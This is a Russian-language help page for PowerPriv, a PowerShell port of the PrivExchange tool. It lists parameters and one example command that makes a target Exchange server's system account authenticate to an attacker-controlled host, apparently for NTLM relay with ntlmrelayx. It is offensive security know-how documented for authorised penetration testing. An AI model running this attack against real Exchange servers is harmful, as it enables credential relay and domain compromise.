PowerPriv

ОПИСАНИЕ

Реализация PrivExchange на PowerShell от @_dirkjan (оригинальный код находится здесь: https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py) Полезно в средах, где нельзя запускать приложения на Python, есть учетные данные пользователя или не хочется записывать файлы на диск. Приведет к тому, что системная учетная запись целевого Exchange-сервера попытается аутентифицироваться на выбранной вами системе.

-targetHost

Имя хоста или IP целевого Exchange-сервера. В зависимости от настроек DNS может потребоваться FQDN, если используется имя хоста. (Обязательно)

-attackerHost

Имя хоста или IP системы, которую вы контролируете, и на которой в идеале запущен ntlmrelayx. Мы указываем Exchange-серверу попытаться аутентифицироваться на этой системе. В зависимости от настроек DNS может потребоваться FQDN, если используется имя хоста. (Обязательно)

-exchangePort

Порт для подключения к Exchange-серверу. По умолчанию 443.

-attackerPort

Порт, на который Exchange должен попытаться подключиться обратно к атакующему. По умолчанию 80

-attackerPage

Страница, на которую мы указываем Exchange-серверу подключиться на нашей атакующей системе. Слеши не требуются. По умолчанию powerPriv.

-noSSL

Установите true, если не хотите использовать HTTPS для первоначального подключения к Exchange-серверу. По умолчанию false (использовать HTTPS).

-Version

Версия целевого Exchange-сервера. По умолчанию 2013.

ПРИМЕР

powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016

ПРИМЕЧАНИЯ

Автор: @g0ldenGunSec  - На основе инструмента, созданного @_dirkjan
Используйте этот инструмент только в сетях, которыми вы владеете или на тестирование которых у вас есть разрешение.